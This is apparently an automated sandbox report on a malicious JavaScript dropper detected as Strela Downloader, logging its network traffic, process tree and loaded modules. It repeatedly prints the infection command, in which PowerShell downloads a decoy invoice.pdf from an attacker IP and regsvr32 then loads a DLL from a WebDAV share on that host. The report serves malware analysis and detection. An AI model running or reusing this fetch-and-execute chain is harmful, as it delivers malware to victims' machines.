Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1426916745.00000206E0BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1481425297.000001873340C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1481425297.000001873340C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=
Source: net.exe, 00000007.00000002.1481425297.000001873340C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Q
Source: net.exe, 00000007.00000002.1481425297.00000187333E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2718943641.00000212DDE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1486300751.00000212DDCB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7868, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5330147048382019.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqexj0nq.rlo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5330147048382019.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5330147048382019.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1644,i,2083152114314265403,6909359284508397850,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1644,i,2083152114314265403,6909359284508397850,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
